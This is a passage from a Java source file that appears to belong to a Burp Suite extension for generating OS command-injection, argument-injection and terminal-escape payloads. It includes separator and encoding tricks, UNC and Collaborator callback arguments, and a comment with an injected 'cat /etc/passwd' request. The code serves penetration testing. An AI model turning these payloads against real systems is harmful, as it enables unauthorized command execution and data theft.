24010ms\n                // rtt min/avg/max/mdev = 0.018/0.031/0.051/0.010 ms\n                // Execution took 24 seconds ... so, flew under the radar, we need to be more tolerant as 25 pings took only 24 seconds.\n                // so, we keep the getDelay() value at its current level, we decrease the tolerance margin in the scanner\n                // \n            }\n            /*\n            if(feedbackChannel==\"file\")    \n            // once implemented, available both in the auto mode and for the scanner \n            // cause why not, although it would be a very rare scenario - auto scanning with FS access without knowin the target OS?\n            // maybe for large-scale assessments involving multiple targets, but why not to support such scan for ALL OS?\n            // this is one of the channels that requires different command patterns due to lack of compatible \"command param\" values.\n            {                \n            }\n            if(feedbackChannel==\"response\") // to be implemented\n            {                \n            }\n            */\n        }\n        else\n        {\n            winPayload=nixPayload=command+\"ARGUMENT_SEPARATOR\"+argument; // the base payload is the same, as no OS-specific or \"auto\" trickery\n        }\n        \n        \n        this.tab.shellingPanel.logOutput(\"Base payload: \"+nixPayload+\"\\n\");\n        basePayloads.add(nixPayload);\n        \n        if(nixPayload!=winPayload)\n        {\n            this.tab.shellingPanel.logOutput(\"Base payload 2: \"+winPayload+\"\\n\");                  \n            basePayloads.add(winPayload);\n        } // print the second one if different\n        \n        // let's initiate the building element variables\n        // universal argument separators\n        this.argumentSeparators.add(\" \"); // space \n        this.argumentSeparators.add(this.byteToString((byte)0x09)); // 09, horizontal tab\n        \n        // universal command separators\n        this.commandSeparators.add(this.byteToString((byte)0x0a));  // newline\n        this.commandSeparators.add(\"&\");                            // ampersand\n        this.commandSeparators.add(\"|\");                            // pipe\n\n\n        \n        // command/string terminators\n        if(this.tab.shellingPanel.useTerminatorsCheckBox.isSelected())\n        {                    \n            if(this.tab.shellingPanel.includeThePooComboBox.isSelected()) \n            {\n                this.commandTerminators.add(\"💩\");\n            }\n            // the poo character, this should only work with asynchronous strings entering a mysql database first, should be disabled by default\n\n            if(this.tab.shellingPanel.useNullByte.isSelected()==true)\n            {\n                this.commandTerminators.add(this.byteToString((byte)0x00));     // nullbyte\n            }\n\n            if(this.tab.shellingPanel.osSpecificTerminators.isSelected()) \n            {\n                this.nixCommandTerminators.add(\" #\");\n                this.winCommandTerminators.add(\"::\");\n                // this.winCommandTerminators.add(\"::\"); WHY IS THIS NOT A THING? we'll have to investigate the incompatibleTypes function and prolly improve it\n                // before we implement best-effort payloads\n            }\n            \n            // get the custom terminators as well\n            ListModel terminatorModel = this.tab.shellingPanel.terminatorList.getModel();\n            // also make sure strings are in hex, e.g. by forcefully switching to hex mode\n            this.tab.shellingPanel.switchToHex();\n            for(int i=0;i<terminatorModel.getSize();i++)\n            {\n                String asciihex=terminatorModel.getElementAt(i).toString();\n                // ok, now we need to convert it back to characters and store in the breakupTraversals array\n                StringBuilder output = new StringBuilder();\n                for (int j = 0; j < asciihex.length(); j+=2) \n                {\n                    String str = asciihex.substring(j,j+2);\n                    output.append((char)Integer.parseInt(str,16));\n                }\n                this.commandTerminators.add(output.toString());\n            }\n        }\n        // OS-specific command separators\n        // nix-like command separators\n        this.nixCommandSeparators.add(\";\");                             // semicolon\n        \n        // nic-like argument separators\n        this.nixArgumentSeparators.add(\"$IFS$9\");                       // $IFS$9\n        \n        \n        \n        this.winCommandSeparators.add(this.byteToString((byte)0x1a));\n        \n        this.winArgumentSeparators.add(this.byteToString((byte)0x0b));\n        this.winArgumentSeparators.add(\"%25ProgramFiles:~10,1%25\");\n        \n        \n        this.winEchoArgumentSeparators.add(\"(\");\n        this.winEchoArgumentSeparators.add(\".\");    \n        \n        this.winCommandSeparators.add(this.byteToString((byte)0x26)+\"::\");\n        \n\n        \n        if(\"nix\".equals(targetOS)||\"all\".equals(targetOS))\n        {\n            this.basePayloads.add(\"$(\"+nixPayload+\")\");\n            this.basePayloads.add(\"`\"+nixPayload+\"`\");\n            if(this.secondArgument==\"\")\n            {\n                this.basePayloads.add(\"{\"+command+\",\"+argument+\"}\");// the brace operator\n            }\n            else\n            {\n                this.basePayloads.add(\"{\"+command+\",\"+argument+\",\"+secondArgument+\"}\");// the brace operator\n            }\n            \n            for(int i=0;i<this.nixCommandSeparators.size();i++)\n            {\n                this.commandSeparators.add(this.nixCommandSeparators.get(i));\n            }\n            for(int i=0;i<this.nixArgumentSeparators.size();i++)\n            {\n                this.argumentSeparators.add(this.nixArgumentSeparators.get(i));\n            } \n        }\n        \n        if(\"win\".equals(targetOS)||\"all\".equals(targetOS))\n        {        \n            this.basePayloads.add(winPayload);\n            \n            for(int i=0;i<this.winCommandSeparators.size();i++)\n            {\n                this.commandSeparators.add(this.winCommandSeparators.get(i));\n            }            \n            for(int i=0;i<this.winArgumentSeparators.size();i++)\n            {\n                this.argumentSeparators.add(this.winArgumentSeparators.get(i));\n            }             \n        }\n        \n        // so, the OS-specific command terminators are not propagated to commandTerminators yet (and I have an impression like they should be)\n        // \n        if(\"win\".equals(targetOS)||\"all\".equals(targetOS))\n        {\n            for(int i=0;i<winCommandTerminators.size();i++)\n            {\n                this.commandTerminators.add(winCommandTerminators.get(i)); // \n            }\n        }\n        if(\"nix\".equals(targetOS)||\"all\".equals(targetOS))\n        {\n            for(int i=0;i<nixCommandTerminators.size();i++)\n            {\n                this.commandTerminators.add(nixCommandTerminators.get(i)); // \n            }\n        }\n        \n        // automatically prefix prefixes with quotes in order to gain quoted injection compatibility\n        ArrayList<String> tmpPrefixes=new ArrayList<>();\n        tmpPrefixes=(ArrayList<String>)prefixes.clone();\n        for(int i=0;i<tmpPrefixes.size();i++)\n        {\n            for(int j=0;j<prefixSuffixes.size();j++)\n            {\n                prefixes.add(tmpPrefixes.get(i)+this.prefixSuffixes.get(j));\n            }\n        }              \n                \n        //1. DO ARGUMENT INJECTIONS HERE\n        \n        if(this.tab.shellingPanel.argInjectionCheckBox.isSelected())\n        {\n           this.generateArgumentInjectionPayloads();\n        }\n        \n        // 2. TERMINAL INJECTIONS TO FOLLOW\n        if(this.tab.shellingPanel.doTerminalInjection.isSelected())\n        {\n              this.generateTerminalInjectionPayloads();\n        }\n        \n        // 3. COMMAND INJECTION NOW\n        if(this.tab.shellingPanel.doCommandInjection.isSelected())\n        {\n            this.generateCommandInjectionPayloads();\n        }\n        \n        // OK, what's left now is the output encoding + payload marking        \n        this.encodeOutput();  \n        \n        // update the payload counter\n         this.tab.shellingPanel.jTabbedPane1.setTitleAt(5,\"Save \"+this.shellings.size()+\" payloads\");\n    }\n    private void generateTerminalInjectionPayloads()\n    {\n        /*\n        curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a\n        %1b%5d%32%3b + MALICIOUS COMMAND + %07%0a\n        */        \n        byte[] prefix={(byte)0x1b,(byte)0x5d,(byte)0x32,(byte)0x3b};\n        byte[] suffix={(byte)0x07,(byte)0x0a};\n        \n        for(int i=0;i<this.argumentSeparators.size();i++)\n        {\n            for(int j=0;j<this.basePayloads.size();j++)\n            {\n               String myCurrPayload=this.basePayloads.get(j);\n               if(this.incompatibleTargets(this.argumentSeparators.get(i), myCurrPayload, \"separator\"))\n               {\n                   continue; \n               }\n               myCurrPayload=myCurrPayload.replace(\"ARGUMENT_SEPARATOR\",this.argumentSeparators.get(i));               \n               this.shellings_raw.add(this.callbacks.getHelpers().bytesToString(prefix)+myCurrPayload+this.callbacks.getHelpers().bytesToString(suffix));\n           }\n        }             \n    }\n    private void generateCommandInjectionPayloads()\n    {\n        // 1) First, we fill our output payloads list wth all variations of base payloads, including different argument separators\n        if(this.tab.shellingPanel.basePayloadCheckBox.isSelected()==true)\n        {\n            for(int i=0;i<this.argumentSeparators.size();i++)\n            {\n                for(int j=0;j<this.basePayloads.size();j++)\n                {\n                    String myCurrPayload=this.basePayloads.get(j);\n                    if(this.incompatibleTargets(this.argumentSeparators.get(i), myCurrPayload, \"separator\"))\n                    {\n                        continue; \n                    }\n                    myCurrPayload=myCurrPayload.replace(\"ARGUMENT_SEPARATOR\",this.argumentSeparators.get(i));               \n                    if(!this.shellings_raw.contains(myCurrPayload)) this.shellings_raw.add(myCurrPayload);               \n                }\n            }                    \n            this.basePayloads=(ArrayList<String>)this.shellings_raw.clone();   // overwrite the base with different base command_separator variants        \n        }\n        \n        // 2) MALICIOUS_COMMAND+COMMAND_TERMINATOR \n        if(this.tab.shellingPanel.secondBasePayloadCheckBox.isSelected())\n        {\n            for(int i=0;i<this.basePayloads.size();i++)\n            {\n                for(int j=0;j<this.commandTerminators.size();j++)\n                {   \n                    if(this.incompatibleTargets(this.commandTerminators.get(j),this.basePayloads.get(i), \"terminator\"))\n                    {\n                        continue;\n                    }\n                    String currPayload=this.basePayloads.get(i)+this.commandTerminators.get(j);\n                    if(!this.shellings_raw.contains(currPayload)) this.shellings_raw.add(currPayload);\n                }\n                for(int j=0;j<this.commandSeparators.size();j++)\n                {\n                    if(this.incompatibleTargets(this.commandSeparators.get(j),this.basePayloads.get(i), \"separator\"))\n                    {\n                        continue;\n                    }                \n                    if(!this.shellings_raw.contains(this.basePayloads.get(i)+this.commandSeparators.get(j))) this.shellings_raw.add(this.basePayloads.get(i)+this.commandSeparators.get(j));                             \n                }\n            }\n        }\n        // 3) COMMAND_SEPARATOR+MALICIOUS_COMMAND\n        if(this.tab.shellingPanel.thirdBasePayloadCheckBox.isSelected()==true)\n        {\n            for(int i=0;i<this.basePayloads.size();i++)\n            {   \n                for(int j=0;j<this.commandSeparators.size();j++)\n                {\n                    if(this.incompatibleTargets(this.commandSeparators.get(j),this.basePayloads.get(i),\"separator\"))\n                    {\n                        continue;\n                    }   \n                    if(!this.shellings_raw.contains(this.commandSeparators.get(j)+this.basePayloads.get(i))) this.shellings_raw.add(this.commandSeparators.get(j)+this.basePayloads.get(i));                                \n                }\n            }\n        }\n        // 4) COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR\n        // I think this makes the above section 3) redundant, because:\n        // - if the application is appending our payload with something, 3) will fail, while 4) will work\n        // - if the application is not accepting COMMAND_SEPARATOR, both variants will fail, so 3) is not helping anyway\n        // - if the application is rejecting values that do not end with alphanum (which is how any of our MALICIOUS_COMMANDS would end), 4) will fail - but this is why we have the + SUFFIX variant - 5) - right?\n        if(this.tab.shellingPanel.fourthBasePayloadCheckBox.isSelected()==true)\n        {\n            for(int i=0;i<this.basePayloads.size();i++)\n            {\n                for(int j=0;j<this.commandSeparators.size();j++)\n                {\n                    if(this.incompatibleTargets(this.commandSeparators.get(j),this.basePayloads.get(i),\"separator\"))\n                    {\n                        continue;\n                    }   \n                    //this.shellings_raw.add(this.commandSeparators.get(j)+this.basePayloads.get(i)+this.commandSeparators.get(j));   \n                    if(!this.shellings_raw.contains(this.commandSeparators.get(j)+this.basePayloads.get(i)+this.commandSeparators.get(j))) this.shellings_raw.add(this.commandSeparators.get(j)+this.basePayloads.get(i)+this.commandSeparators.get(j));                \n                }\n            }\n        }\n        // 5) COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR+SUFFIX            \n        if(this.tab.shellingPanel.fifthBasePayloadCheckBox.isSelected())\n        {\n            for(int i=0;i<this.basePayloads.size();i++)\n            {\n                for(int j=0;j<this.commandSeparators.size();j++)\n                {\n                    if(this.incompatibleTargets(this.commandSeparators.get(j),this.basePayloads.get(i),\"separator\"))\n                    {\n                        continue;\n                    }   \n                    for(int k=0;k<this.prefixes.size();k++)\n                    {\n                        String suffix=this.prefixes.get(k);\n                        if(suffix==\"'\"||suffix==\"\") \n                        {\n                            continue; //skip irrelevant payloads                  \n                        }                  \n                        if(!this.shellings_raw.contains(this.commandSeparators.get(j)+this.basePayloads.get(i)+this.commandSeparators.get(j)+suffix)) this.shellings_raw.add(this.commandSeparators.get(j)+this.basePayloads.get(i)+this.commandSeparators.get(j)+suffix);                             \n                    }\n                }\n            }\n        }\n        // 6) PREFIX+COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR\n        if(this.tab.shellingPanel.sixthBasePayloadCheckBox.isSelected())\n        {\n            for(int i=0;i<this.basePayloads.size();i++)\n            {\n                for(int j=0;j<this.commandSeparators.size();j++)\n                {\n                    if(this.incompatibleTargets(this.commandSeparators.get(j),this.basePayloads.get(i),\"separator\"))\n                    {\n                        continue;\n                    }    \n                    for(int k=0;k<this.prefixes.size();k++)\n                    {\n                        String currPayload=this.prefixes.get(k)+this.commandSeparators.get(j)+this.basePayloads.get(i)+this.commandSeparators.get(j);\n                        if(currPayload.contains(\"'\"))\n                        {\n                            currPayload=currPayload+\"'\";\n                        }\n                        else if(currPayload.contains(\"\\\"\"))\n                        {\n                            currPayload=currPayload+\"\\\"\";\n                        }\n                        if(!this.shellings_raw.contains(currPayload)) this.shellings_raw.add(currPayload);\n                    }\n                }\n            }\n        }\n        \n        // 7) PREFIX+COMMAND_SEPARATOR+MALICIOUS_COMMAND+COMMAND_SEPARATOR+SUFFIX      \n        if(this.tab.shellingPanel.seventhBasePayloadCheckBox.isSelected())\n        {\n            for(int i=0;i<this.basePayloads.size();i++)\n            {\n                for(int j=0;j<this.commandSeparators.size();j++)\n                {\n                    if(this.incompatibleTargets(this.commandSeparators.get(j),this.basePayloads.get(i),\"separator\"))\n                    {\n                        continue;\n                    }   \n                    for(int k=0;k<this.prefixes.size();k++)\n                    {\n                        String suffix=this.getProperSuffix(this.prefixes.get(k));                 \n                        if(!this.shellings_raw.contains(this.prefixes.get(k)+this.commandSeparators.get(j)+this.basePayloads.get(i)+this.commandSeparators.get(j)+suffix)) this.shellings_raw.add(this.prefixes.get(k)+this.commandSeparators.get(j)+this.basePayloads.get(i)+this.commandSeparators.get(j)+suffix);                              \n                    }\n                }\n            }    \n        }\n        \n        // 8) PREFIX+MALICIOUS_COMMAND+SUFFIX for substitutions - `CMD` and $(CMD)         \n        for(int i=0;i<this.basePayloads.size();i++)\n        {\n            for(int j=0;j<this.prefixes.size();j++)\n            {\n                String basePayload=this.basePayloads.get(i);   \n                if(!basePayload.startsWith(\"$\")&&!basePayload.startsWith(\"`\"))\n                {                   \n                    continue;\n                }\n                String prefix=this.prefixes.get(j);\n                String suffix=this.getProperSuffix(prefix);\n                if(!this.shellings_raw.contains(prefix+basePayload+suffix)) this.shellings_raw.add(prefix+basePayload+suffix);\n            }\n        }                       \n    }\n    private void generateArgumentInjectionPayloads()\n    {\n        if(this.tab.shellingPanel.feedbackChannel!=\"DNS\") return; // return quietly (at the moment this feature is only available while using DNS as the feedback chan)\n        argInjectionArguments=new ArrayList<String>();\n        String domain=\"BURP_COLLAB_DOMAIN\";\n        if(payloadMarking) \n        {\n            domain=\"PAYLOAD_MARK.\"+domain;\n        }\n        \n        if(this.tab.shellingPanel.injectHTTPCheckBox.isSelected())\n        {\n            argInjectionArguments.add(\"http://\"+domain+\"/PAYLOAD_MARK\");\n        }\n        if(this.tab.shellingPanel.injectSmbCheckBox.isSelected())\n        {\n            argInjectionArguments.add(\"smb://\"+domain+\"/PAYLOAD_MARK\");\n        }\n        if(this.tab.shellingPanel.injectFileCheckBox.isSelected())\n        {\n            argInjectionArguments.add(\"file://\"+domain+\"/PAYLOAD_MARK\");\n        }\n        if(this.tab.shellingPanel.uncPathsCheckBox.isSelected()&&this.targetOS!=\"nix\") // \"win\" or \"all\"\n        {\n            argInjectionArguments.add(\"\\\\\\\\\"+domain+\"\\\\PAYLOAD_MARK\");\n        }        \n        // this method fills the shellings_raw() structure with argument injection payloads\n        // implemented to make Argument injection independent from Command injection (so either of the attacks or both can be enabled)\n        // also, the class constructor is getting too big\n            /*\n            soon to be implemented, temporarily commented out\n            if(command.equals(\"echo\"))          \n            {\n                for(int i=0;i<this.winEchoArgumentSeparators.size();i++)\n                {\n                    this.argumentSeparators.add(this.winEchoArgumentSeparators.get(i));\n                    this.winArgumentSeparators.add(this.winEchoArgumentSeparators.get(i));\n                } \n            }\n            */\n            \n        // 0# BEFORE-FIRST METHOD\n        if(this.tab.shellingPanel.injectAdditionalArguments.isSelected())\n        {\n            // iterate over argument separators\n            String myCurrPayload=\"\";\n            for(int i=0;i<this.argumentSeparators.size();i++)\n            {   \n                // iterate over prefixes\n                for(int j=0;j<this.prefixes.size();j++)\n                {                    \n                    //   iterate over terminators                         \n                    // we use command terminators as argument terminators here - should work the same (e.g. nullbyte, one-line comment, poo)\n                        // could also do PREFIX + ARGUMENT + TERMINATOR variant straig away instead of PREFIX + SEPARATOR + ARGUMENT + TERMINATOR\n                        // but I assume all direct injections like ARGUMENT whereas ARGUMENT is e.g. http://BURP_COLLAB_DOMAIN are detected by the Scanner anyway\n                        // so it would be rather redundant, however is required for exported payload sets\n                        // hence it deserves a separate checkbox in the UI (not implemented yet)\n                        myCurrPayload=this.prefixes.get(j)+this.argumentSeparators.get(i);\n                        for(int k=0;k<this.argInjectionArguments.size();k++)\n                        {\n                            // iterate over protocols (arguments to inject)\n                            this.shellings_raw.add(myCurrPayload+this.argInjectionArguments.get(k));                                                        \n                            // does not matter, terminators should be empty if this box was not selected\n                            //if(this.tab.shellingPanel.useTerminatorsCheckBox.isSelected())\n                            //{\n                                for(int l=0;l<this.commandTerminators.size();l++)\n                                {\n                                    this.shellings_raw.add(myCurrPayload+this.argInjectionArguments.get(k)+this.commandTerminators.get(l));    \n                                }                            \n                            //}\n                        }\n                }         \n            }                       \n        }\n        \n        \n        // 1# FIRST METHOD\n        // this should be turned into a set of pickable profiles, e.g. wget, ping, ls\n        // GET /test_cases/GET/arginj_escape_shell_cmd.php?dir='*'%20-exec%20cat%20/etc/passwd%20\\; HTTP/1.1\n        // which, as we find out, does not make any sense, since it requires a semicolon to be allowed - which is a command separator, we would not need arg injection\n        // if this was working        \n        // \n        // we still WANT our windows things: \n        // /c \n        \n        \n        // OK here it is implemented, our UNC thingy!\n        // > UNC thingy :D\n        if(this.tab.shellingPanel.uncPathsCheckBox.isSelected())\n        {\n            // iterate over prefixes\n            String myPayload=\">\\\\\\\\\"+domain+\"\\\\PAYLOAD_MARK\";\n            for(int j=0;j<this.prefixes.size();j++)\n            {   \n                this.shellings_raw.add(this.prefixes.get(j)+myPayload); // add non-terminated version                \n                String suffix=this.getProperSuffix(this.prefixes.get(j));\n                for(int l=0;l<this.commandTerminators.size();l++) \n                {\n                    // now, implement the literal nullbyte check\n                    // if(this.commanTerminators)\n                    // OK, there is no way to do this here\n                    // unless we move the encoding layer from the end to the basic payload building chars layer (like in psychoPATH)\n                    // we'd have to implement this in encodeOutput() instead\n                    this.shellings_raw.add(this.prefixes.get(j)+myPayload+this.commandTerminators.get(l));                                                                                       \n                    this.shellings_raw.add(this.prefixes.get(j)+myPayload+suffix+this.commandTerminators.get(l)); // let's see what happens                                     \n                }\n            }                                                   \n        }\n        \n        // OK, so find is immune to this\n        // how about wget --execute command http://URL?\n        // \n\n        \n        // #2 SECOND METHOD\n        if(this.tab.shellingPanel.bruteArgInjections.isSelected())\n        {                        \n            // this should be customised (so users can provide their own flags array (string)\n            if(this.tab.shellingPanel.defaultArgBruteRange.isSelected()==false) // this means the other one is true\n            {\n                this.letters=this.tab.shellingPanel.customCharacterRange.getText();\n            }\n            String myCurrPayload=\"\";\n            for(int i=0;i<this.argumentSeparators.size();i++)\n            {   \n                // iterate over prefixes\n                for(int j=0;j<this.prefixes.size();j++)\n                {                    \n                    //   iterate over terminators                         \n                    // we use command terminators as argument terminators here - should work the same (e.g. nullbyte, one-line comment, poo)\n                    // could also do PREFIX + ARGUMENT + TERMINATOR variant straig away instead of PREFIX + SEPARATOR + ARGUMENT + TERMINATOR\n                    // but I assume all direct injections like ARGUMENT whereas ARGUMENT is e.g. http://BURP_COLLAB_DOMAIN are detected by the Scanner anyway\n                    // so it would be rather redundant, however is required for exported payload sets\n                    // hence it deserves a separate checkbox in the UI (not implemented yet)\n                    myCurrPayload=this.prefixes.get(j)+this.argumentSeparators.get(i);\n                    for(int l=0;l<letters.length();l++)\n                    {\n                        for(int k=0;k<this.argInjectionArguments.size();k++)\n                        {\n                            // iterate over protocols (arguments to inject)\n                            if(targetOS==\"win\"||targetOS==\"all\")\n                            {\n                                this.shellings_raw.add(myCurrPayload+\"/\"+letters.charAt(l)+this.argumentSeparators.get(i)+this.argInjectionArguments.get(k));                                \n                                for(int m=0;m<this.commandTerminators.size();m++)\n                                {\n                                    this.shellings_raw.add(myCurrPayload+\"/\"+letters.charAt(l)+this.argumentSeparators.get(i)+this.argInjectionArguments.get(k)+this.commandTerminators.get(m));    \n                                }   \n                            }\n                            if(targetOS==\"nix\"||targetOS==\"all\")\n                            {\n                                this.shellings_raw.add(myCurrPayload+\"-\"+letters.charAt(l)+this.argInjectionArguments.get(k));                                \n                                for(int m=0;m<this.commandTerminators.size();m++)\n                                {\n                                    this.shellings_raw.add(myCurrPayload+\"-\"+letters.charAt(l)+this.argInjectionArguments.get(k)+this.commandTerminators.get(m));    \n                                }                                       \n                            }\n                       \n                        }                            \n                    }\n                }         \n            }                                                                 \n        }                \n    }    \n    private void encodeOutput()\n    {\n        // now we have to deal with the output encodings\n        ListModel encodeModel = this.tab.shellingPanel.encodeList.getModel();\n        for(int j=0;j<this.shellings_raw.size();j++)\n        {\n            for(int i=0;i<encodeModel.getSize();i++)\n            {\n                // check for nullbytes and skip them if the setting says so (only applicable here, for none)\n                if(\"None\".equals(encodeModel.getElementAt(i).toString()))\n                {                   \n                    // baddies avoidance\n                    // includeWhites is selected AND the smart mode is on AND (the last response was 400 AND the payload contained such a char)\n                    // last check remaining is the 400 status to avoid race conditions (this info has to be held in each scanner instance separately\n                    // and somehow retrieved in this function so we know when to perform the avoidance\n                    if(mode==\"scanner\"&&this.tab.shellingPanel.includeLiteralWhites.isSelected()==false&&this.tab.shellingPanel.smart400Avoidance.isSelected()==true) \n                    {\n                        byte[] tmp = this.callbacks.getHelpers().stringToBytes(this.shellings_raw.get(j));\n                        if(this.tab.shellingPanel.containsBaddies(tmp))\n                        {\n                            continue; // skip to the next encodeModel\n                        }\n                    }\n                    \n                    String outputPayload=this.getMarkedVersion(this.shellings_raw.get(j));\n                    this.shellings.add(outputPayload);\n                }\n                if(\"URL\".equals(encodeModel.getElementAt(i).toString())) // URL encode\n                {\n                   String outputPayload=this.getMarkedVersion(this.shellings_raw.get(j));\n                   try {                    \n                    this.shellings.add(URLEncoder.encode(outputPayload,StandardCharsets.UTF_8.toString()));\n                    } \n                   catch (UnsupportedEncodingException ex) {\n                      Logger.getLogger(IntruderPayloadGenerator.class.getName()).log(Level.SEVERE, null, ex);\n                    }\n                }\n                if(\"Double URL\".equals(encodeModel.getElementAt(i).toString()))\n                {\n                       String outputPayload=this.getMarkedVersion(this.shellings_raw.get(j));\n                       try {                       \n                           this.shellings.add(URLEncoder.encode(URLEncoder.encode(outputPayload,StandardCharsets.UTF_8.toString())));\n                       } \n                       catch (UnsupportedEncodingException ex) {\n                           Logger.getLogger(IntruderPayloadGenerator.class.getName()).log(Level.SEVERE, null, ex);\n                       }\n                }\n            }\n        }\n    }\n    // search the current collabSession, matching by the domain name\n    // set the base IHttpRequestResponse so it can be retrieved later on if an interaction is hit    \n    public boolean setBase(IHttpRequestResponse base)\n    {\n        boolean ret = false;\n        for(int i=this.tab.shellingPanel.collabSessions.size()-1;i>-1;i--)\n        {\n           if(this.tab.shellingPanel.collabSessions.get(i).collabLoc==this.loc)\n           {\n                ret=true;\n                this.tab.shellingPanel.collabSessions.get(i).setReqResp(base);\n           }\n        }\n        return ret;\n    }\n    private String getMarkedVersion(String payload)\n    {        \n        cnt++;\n        if(this.payloadMarking)\n        {\n            String replacement=cnt.toString();\n            if(payload.contains(\"$IFS$9\")) // if dealing with $IFS$9\n            {\n                replacement=\"a\"+replacement;\n            }   \n            payload=payload.replace(\"PAYLOAD_MARK\",replacement);\n        }\n        else\n        {\n            payload=payload.replace(\"PAYLOAD_MARK\",\"\");\n        }\n        return payload;\n    }\n    private String byteToString(byte inputByte)\n    {\n        byte[] t = new byte[1];\n        t[0]=inputByte;\n        return callbacks.getHelpers().bytesToString(t);\n    }    \n    private boolean arraySearch(String needle, String[] hayStack)\n    {\n        for(int i=0;i<hayStack.length;i++)\n        {\n            if(hayStack[i]==needle) return true;\n        }\n        return false;\n    }\n    private String[] toStringArray(ArrayList<String> input)\n    {\n        String ret[];\n        ret = new String[input.size()];\n        for(int i=0;i<ret.length;i++)\n        {\n            ret[i]=input.get(i);\n        }\n        return ret;\n    }\n    private boolean incompatibleTargets(String entity, String payload, String what)\n    {\n        if(targetOS!=\"all\") return false; // it's either strictly win or nix - in such case there should be no incompatible elements in the configuration in the first place\n        // this might become false if we allow people to play with the the separators themselves (define their own ones)\n        // in such case we'll remove this lind and perform the check every time this function is called\n        // we discover the OS based on the existence of an OS-specific separator (ARGUMENT SEPARATOR)\n        \n        \n        // matching does not work as we would like it to\n        // we're gonna do some string carving instead\n        // 1. we want to find the first occurrence (indexOf) the command\n        // 2. we went to find the first occurrence (indexOf) of the argument\n        // 3. we carve out [indexOfargument..indexOfCommand+commandLength] and we have our command separator\n        //String cmdPattern = command+\"(.*)\"+argument;\n        String separator=\"\";\n               \n        //Pattern pattern = Pattern.compile(cmdPattern);\n        //Matcher matcher = pattern.matcher(payload);\n        //this.tab.shellingPanel.logOutput(\"Matching \"+payload+\" against \"+cmdPattern+\"\\n\");\n        //if(matcher.matches())\n        if(payload.contains(command)&&payload.contains(argument))\n        {\n            int commandIndexOf = payload.indexOf(command);\n            int argumentIndexOf = payload.indexOf(argument); \n            if(commandIndexOf<argumentIndexOf) //\n            {\n                separator=payload.substring(commandIndexOf+command.length(),argumentIndexOf);            \n            }\n            else // won't happen with the way payloads are generated atm\n            {\n                separator=payload.substring(argumentIndexOf+argument.length(),commandIndexOf);            \n            }\n            //this.tab.shellingPanel.logOutput(\"Separator extracted: \"+separator);\n        }\n        else\n        {\n            this.tab.shellingPanel.logOutput(\"Warning: the \"+payload+\" payload does not contain the \"+command+\" command and/or the \"+argument+\" argument.\\nArgument separator could not be determined.\\n\");\n            separator=\"\";        \n        }\n        \n        // whether the payload seems nix-like\n        if(payload.contains(\"`\")||payload.contains(\"$\")||arraySearch(separator,this.toStringArray(this.nixArgumentSeparators)))\n        {\n            if(\"separator\".equals(what))\n            {\n                if(arraySearch(entity,this.toStringArray(this.winArgumentSeparators)))\n                {\n                    return true;\n                }\n                if(arraySearch(entity,this.toStringArray(this.winCommandSeparators)))\n                {\n                    return true;\n                }               \n                return false;\n            }\n            if(\"terminator\".equals(what))\n            {\n                if(arraySearch(entity,this.toStringArray(this.winCommandSeparators)))\n                {\n                    return true;\n                }\n                return false;\n            }\n            return false; \n        }\n        if(arraySearch(separator,this.toStringArray(winArgumentSeparators))) // dealing with windows\n        {\n            if(\"separator\".equals(what))\n            {\n                if(arraySearch(entity,this.toStringArray(this.nixCommandSeparators)))\n                {\n                  return true;   \n                }\n                if(arraySearch(entity,this.toStringArray(this.nixArgumentSeparators)))\n                {\n                  return true;   \n                }\n                return false;\n            }\n            if(\"terminator\".equals(what))\n            {\n                if(arraySearch(entity,this.toStringArray(this.nixCommandTerminators)))\n                {\n                    return true;\n                }\n                return false;\n            }\n        }       \n        return false;\n    }\n    private String getProperSuffix(String prefix)\n    {\n        String suffix=prefix;\n        if(prefix.contains(\"'\"))\n        {\n            suffix=suffix.replace(\"'\",\"\");\n            suffix=\"'\"+suffix;\n        }\n        else if(prefix.contains(\"\\\"\"))\n        {\n            suffix=suffix.replace(\"\\\"\",\"\");\n            suffix=\"\\\"\"+suffix;\n            \n        }        \n\treturn suffix;\n    }\n    @Override\n    public boolean hasMorePayloads() \n    {\n      if(this.payloadIndex < this.shellings.size()) return true;\n      \n      // also, update the label with the latest counter\n      this.tab.shellingPanel.jTabbedPane1.setTitleAt(5,\"Save \"+this.shellings.size()+\" payloads\");\n      // we ran out of payloads, return false just after checking for any collaborator interactions\n      // save the payloads      \n      // find the ID (don't use the public counter to avoid race conditions)\n      // and save the payloads\n      if(this.mode==\"auto\")\n      {\n            for(int i=this.tab.shellingPanel.collabSessions.size()-1;i>-1;i--)\n            {\n                if(this.tab.shellingPanel.collabSessions.get(i).collabLoc==this.loc)\n                {\n                \n                    this.tab.shellingPanel.collabSessions.get(i).setShellingsRaw(this.shellings); // save the payloads in the session tracker\n                    break;\n                }\n           }\n      }\n      // while this check is done always (we might be in manual mode but still receive asynchronous feedback from the auto mode)\n      \n      this.tab.shellingPanel.checkCollabInteractions(false);            \n      return false;      \n    }\n    public String getPayload(int index)\n    {\n        if(index<this.shellings.size()) return this.shellings.get(index);\n        return \"\";\n    }\n    public byte[] getNextPayloadSmart(byte[] baseValue, boolean last400Avoid) // used by the scanner\n    {\n        this.last400Avoid=last400Avoid;\n        return getNextPayload(baseValue);\n    }    \n    @Override    \n    public byte[] getNextPayload(byte[] baseValue) \n    {        \n    // so, if we want to introduce smart 400 avoidance for both Scanner and Intruder, we need to be able to:\n    // 1) modify the getNextPayload() method so it skips all the payloads with known bad chars (while still incrementing the index)\n    // and returns the next valid payload\n    // 2) find out from the getNextPayload method that:\n    //  a) Smart 400 avoidance is on\n    //  b) we have just encountered 400-s in result of sending requests containing those chars (beware of race conditions)\n    \n    // so we need two public properties\n    // avoidance is on (can be read from the constructor once the instance is started)\n    // last response was 400 AND the payload contained a whitechar (this is the problem, how can I know Intruder returned 400? I only generate payloads...\n    //         \n        if(\"mark\".equals(this.payloadType))\n        {            \n            this.payloadIndex++;\n            return callbacks.getHelpers().stringToBytes(Integer.toString(this.payloadIndex));\n        }\n        if(\"cmd\".equals(this.payloadType))\n        {                    \n            // a loop has to be introduced here to allow skipping baddies once 400s are detected\n            while(this.hasMorePayloads())\n            {\n                String p = this.shellings.get(this.payloadIndex);            \n                byte[] payload = payload = callbacks.getHelpers().stringToBytes(p);\n                \n                if(this.last400Avoid==true) // whether HTTP 400 avoidance is enabled, we can do this before the BURP_COLLAB_DOMAIN 